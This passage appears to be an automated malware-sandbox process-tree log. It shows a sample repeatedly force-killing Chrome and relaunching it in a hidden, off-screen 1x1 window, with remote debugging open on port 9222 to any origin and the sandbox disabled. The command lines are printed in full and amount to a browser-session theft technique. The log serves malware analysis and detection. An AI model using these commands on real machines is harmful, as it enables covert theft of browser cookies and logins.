                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2892,i,6838132286405122060,14397711029002628101,2097152 --field-trial-handle=2056,i,6762446311245960725,3440534494034874018,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2900 /prefetch:1
                                                              8⤵
                                                              • Uses browser remote debugging
                                                              PID:5256
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2912,i,10534618690559593726,10311706579852176854,2097152 --field-trial-handle=2056,i,6762446311245960725,3440534494034874018,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2920 /prefetch:1
                                                              8⤵
                                                              • Uses browser remote debugging
                                                              PID:5908
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3784,i,8618300029122870638,5226634474629727795,2097152 --field-trial-handle=2056,i,6762446311245960725,3440534494034874018,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3808 /prefetch:9
                                                              8⤵
                                                              • Uses browser remote debugging
                                                              PID:4292
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4108,i,15272796969467163082,13947980801500824804,2097152 --field-trial-handle=2056,i,6762446311245960725,3440534494034874018,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3960 /prefetch:1
                                                              8⤵
                                                              • Uses browser remote debugging
                                                              PID:736
                                                          • C:\Windows\SYSTEM32\taskkill.exe
                                                            taskkill /F /IM chrome.exe
                                                            7⤵
                                                            • Kills process with taskkill
                                                            PID:2276
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                            7⤵
                                                            • Uses browser remote debugging
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:4556
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                              8⤵
                                                                PID:2528
                                                            • C:\Windows\SYSTEM32\taskkill.exe
                                                              taskkill /F /IM chrome.exe
                                                              7⤵
                                                              • Kills process with taskkill
                                                              PID:5756
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                              7⤵
                                                              • Uses browser remote debugging
                                                              • Drops file in Windows directory
                                                              • Enumerates system info in registry
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of FindShellTrayWindow
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:3888
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                8⤵
                                                                  PID:1632
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1572,i,17326418904944555648,6677140540758704399,262144 --field-trial-handle=2504,i,16783782567548271002,1222261582304454468,262144 --variations-seed-version --mojo-platform-channel-handle=2500 /prefetch:2
                                                                  8⤵
                                                                    PID:2880
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1656,i,1976935735645021267,18234026473865472516,524288 --field-trial-handle=2504,i,16783782567548271002,1222261582304454468,262144 --variations-seed-version --mojo-platform-channel-handle=2508 /prefetch:11
                                                                    8⤵
                                                                    • System Time Discovery
                                                                    PID:1180
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1984,i,14192719211564596906,830829343080877693,524288 --field-trial-handle=2504,i,16783782567548271002,1222261582304454468,262144 --variations-seed-version --mojo-platform-channel-handle=2560 /prefetch:13
                                                                    8⤵
                                                                      PID:2492
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2872,i,4272720876631668715,3648478928198927228,2097152 --field-trial-handle=2504,i,16783782567548271002,1222261582304454468,262144 --variations-seed-version --mojo-platform-channel-handle=2956 /prefetch:1
                                                                      8⤵
                                                                      • Uses browser remote debugging
                                                                      PID:5024
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2876,i,4341165667526081568,17146355569871620745,2097152 --field-trial-handle=2504,i,16783782567548271002,1222261582304454468,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:1
                                                                      8⤵
                                                                      • Uses browser remote debugging
                                                                      PID:4696
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3688,i,12014247894832552638,3343369331948004224,2097152 --field-trial-handle=2504,i,16783782567548271002,1222261582304454468,262144 --variations-seed-version --mojo-platform-channel-handle=3700 /prefetch:9
                                                                      8⤵
                                                                      • Uses browser remote debugging
                                                                      PID:788
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4144,i,4541131825851208627,12130253180873986546,2097152 --field-trial-handle=2504,i,16783782567548271002,1222261582304454468,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:1
                                                                      8⤵
                                                                      • Uses browser remote debugging
                                                                      PID:5800
                                                                  • C:\Windows\SYSTEM32\taskkill.exe
                                                                    taskkill /F /IM chrome.exe
                                                                    7⤵
                                                                    • Kills process with taskkill
                                                                    PID:4772
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                    7⤵
                                                                    • Uses browser remote debugging
                                                                    PID:5820
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                      8⤵
                                                                        PID:4344
                                                                    • C:\Windows\SYSTEM32\taskkill.exe
                                                                      taskkill /F /IM chrome.exe
                                                                      7⤵
                                                                      • Kills process with taskkill
                                                                      PID:232
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                      7⤵
                                                                      • Uses browser remote debugging
                                                                      • Drops file in Windows directory
                                                                      • Enumerates system info in registry
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of FindShellTrayWindow
                                                                      PID:2020
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                        8⤵
                                                                          PID:1256
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1572,i,13100249715123246352,4220134281267022643,262144 --field-trial-handle=2420,i,1814197209697148653,14257696077708029576,262144 --variations-seed-version --mojo-platform-channel-handle=2416 /prefetch:2
                                                                          8⤵
                                                                            PID:5580
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1656,i,2219092634523467182,7429667427597838477,524288 --field-trial-handle=2420,i,1814197209697148653,14257696077708029576,262144 --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:11
                                                                            8⤵
                                                                            • System Time Discovery
                                                                            PID:2236
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1960,i,431393339398458743,2288799773920049841,524288 --field-trial-handle=2420,i,1814197209697148653,14257696077708029576,262144 --variations-seed-version --mojo-platform-channel-handle=2492 /prefetch:13
                                                                            8⤵
                                                                              PID:5376
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2848,i,16610794759002459100,12774363320440751885,2097152 --field-trial-handle=2420,i,1814197209697148653,14257696077708029576,262144 --variations-seed-version --mojo-platform-channel-handle=2916 /prefetch:1
                                                                              8⤵
                                                                              • Uses browser remote debugging
                                                                              PID:4808
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2852,i,1864029552030415671,2362414363348002508,2097152 --field-trial-handle=2420,i,1814197209697148653,14257696077708029576,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:1
                                                                              8⤵
                                                                              • Uses browser remote debugging
                                                                              PID:5232
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3672,i,13138972120844918463,12677477884805583169,2097152 --field-trial-handle=2420,i,1814197209697148653,14257696077708029576,262144 --variations-seed-version --mojo-platform-channel-handle=3716 /prefetch:9
                                                                              8⤵
                                                                              • Uses browser remote debugging
                                                                              PID:1204
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4024,i,16894958020445867857,17982851128120256163,2097152 --field-trial-handle=2420,i,1814197209697148653,14257696077708029576,262144 --variations-seed-version --mojo-platform-channel-handle=4104 /prefetch:1
                                                                              8⤵
                                                                              • Uses browser remote debugging
                                                                              PID:3444
                                                                          • C:\Windows\SYSTEM32\taskkill.exe
                                                                            taskkill /F /IM chrome.exe
                                                                            7⤵
                                                                            • Kills process with taskkill
                                                                            PID:4020
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                            7⤵
                                                                            • Uses browser remote debugging
                                                                            PID:5584
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                              8⤵
                                                                                PID:3152
                                                                            • C:\Windows\SYSTEM32\taskkill.exe
                                                                              taskkill /F /IM chrome.exe
                                                                              7⤵
                                                                              • Kills process with taskkill
                                                                              PID:5264
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                              7⤵
                                                                              • Uses browser remote debugging
                                                                              • Drops file in Windows directory
                                                                              • Enumerates system info in registry
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              • Suspicious use of FindShellTrayWindow
                                                                              PID:3296
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                8⤵
                                                                                  PID:1000
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1584,i,6824231129802299870,14607222767542772192,262144 --field-trial-handle=2076,i,3659390815627380240,18127120900997539916,262144 --variations-seed-version --mojo-platform-channel-handle=2072 /prefetch:2
                                                                                  8⤵
                                                                                    PID:2160
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1668,i,18240057643158528362,1133989645749473695,524288 --field-trial-handle=2076,i,3659390815627380240,18127120900997539916,262144 --variations-seed-version --mojo-platform-channel-handle=2080 /prefetch:11
                                                                                    8⤵
                                                                                    • System Time Discovery
                                                                                    PID:1212
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2212,i,7289143991453919118,11241333778769110448,524288 --field-trial-handle=2076,i,3659390815627380240,18127120900997539916,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:13
                                                                                    8⤵
                                                                                      PID:4912
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2868,i,12235513099988679825,6385264421209450110,2097152 --field-trial-handle=2076,i,3659390815627380240,18127120900997539916,262144 --variations-seed-version --mojo-platform-channel-handle=2952 /prefetch:1
                                                                                      8⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:5492
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2872,i,11588384753752020579,7879961218013369418,2097152 --field-trial-handle=2076,i,3659390815627380240,18127120900997539916,262144 --variations-seed-version --mojo-platform-channel-handle=2864 /prefetch:1
                                                                                      8⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:5224
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3884,i,6671000990924978943,15341857108289661306,2097152 --field-trial-handle=2076,i,3659390815627380240,18127120900997539916,262144 --variations-seed-version --mojo-platform-channel-handle=3896 /prefetch:9
                                                                                      8⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:4356
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4056,i,6596666519232372124,7453557639195435547,2097152 --field-trial-handle=2076,i,3659390815627380240,18127120900997539916,262144 --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:1
                                                                                      8⤵
                                                                                      • Uses browser remote debugging
                                                                                      PID:3168
                                                                                  • C:\Windows\SYSTEM32\taskkill.exe
                                                                                    taskkill /F /IM chrome.exe
                                                                                    7⤵
                                                                                    • Kills process with taskkill
                                                                                    PID:2024
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                    7⤵
                                                                                    • Uses browser remote debugging
                                                                                    PID:5048
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                      8⤵
                                                                                        PID:996
                                                                                    • C:\Windows\SYSTEM32\taskkill.exe
                                                                                      taskkill /F /IM chrome.exe
                                                                                      7⤵
                                                                                      • Kills process with taskkill
                                                                                      PID:2044
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                      7⤵
                                                                                      • Uses browser remote debugging
                                                                                      • Drops file in Windows directory
                                                                                      • Enumerates system info in registry
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      PID:4928
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                        8⤵
                                                                                          PID:1020
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1568,i,13170365704174870001,4429288644103058560,262144 --field-trial-handle=2084,i,13430151885766620498,12612579154497921110,262144 --variations-seed-version --mojo-platform-channel-handle=2080 /prefetch:2
                                                                                          8⤵
                                                                                            PID:5408
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1644,i,329034676446583806,7818262757349924812,524288 --field-trial-handle=2084,i,13430151885766620498,12612579154497921110,262144 --variations-seed-version --mojo-platform-channel-handle=2508 /prefetch:11
                                                                                            8⤵
                                                                                            • System Time Discovery
                                                                                            PID:5576
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2156,i,4451567750210703313,5200010553775287072,524288 --field-trial-handle=2084,i,13430151885766620498,12612579154497921110,262144 --variations-seed-version --mojo-platform-channel-handle=2524 /prefetch:13
                                                                                            8⤵
                                                                                              PID:2164
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2932,i,54417564878422647,17123026810275989019,2097152 --field-trial-handle=2084,i,13430151885766620498,12612579154497921110,262144 --variations-seed-version --mojo-platform-channel-handle=2936 /prefetch:1
                                                                                              8⤵
                                                                                              • Uses browser remote debugging
                                                                                              PID:4704
